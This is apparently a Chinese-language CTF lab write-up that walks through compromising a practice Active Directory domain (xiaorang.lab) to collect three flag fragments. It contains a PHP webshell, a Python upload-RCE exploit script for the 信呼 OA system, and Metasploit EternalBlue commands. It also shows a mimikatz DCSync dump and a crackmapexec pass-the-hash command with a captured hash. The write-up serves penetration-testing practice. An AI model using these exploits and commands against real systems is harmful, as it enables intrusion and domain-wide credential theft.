第一次打到域🎯
上线fscan先扫一下
有一个thinkphp
的rce
,工具写个马
www-data
权限
sudo -l
发现mysql
免密
gtfobins找一句话提权
flag{60b53231-
ip-a
看到
传个fscan
扫内网
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.2:88 open
[*] NetInfo:
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetInfo:
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetInfo:
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[+] 172.22.1.21 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[*] WebTitle: http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] NetBios: 172.22.1.2 [+]DC DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios: 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] NetBios: 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle: http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle: http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
看到172.22.1.2
、172.22.1.21
、172.22.1.18
开放,.18
是一个OA,.21
存在ms17010
,.2
是DC域控
配个frp代理,先看.18
的OA系统
弱密码admin:admin123
可以登进去
查个poc打,同目录下存一个一句话木马1.php
<?php eval($_POST["1"]);?>
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)
拿到了路径,成功连上马
system
权限,Administrator
找到第二段flag
2ce3-4813-87d4-
接着看.21
的内容了,扫出来有ms17010
,proxychains4
代理msf
打
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
run
但找了半天这里没最后一段flag,最后一段flag在.2
的域控上,看wp发现要DCSync攻击
在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用这个原理,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。 DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash
于是我们可以用DCSync
导出所有用户的hash,然后进行hash传递攻击,我们需要以下任一用户的权限:
- Administrator 组内的用户
- Domain Admins 组内的用户
- Enterprise Admins 组内的用户域控制器的计算机账户
而.21这台机器正好是enterprise
用户
load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
拿到了Administrator
的hash10cf89a850fb1cdbe6bb432b859164c8
接着用crackmapexec
进行哈希传递攻击,实现DC域控上的任意命令执行
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
e8f88d0d43d6}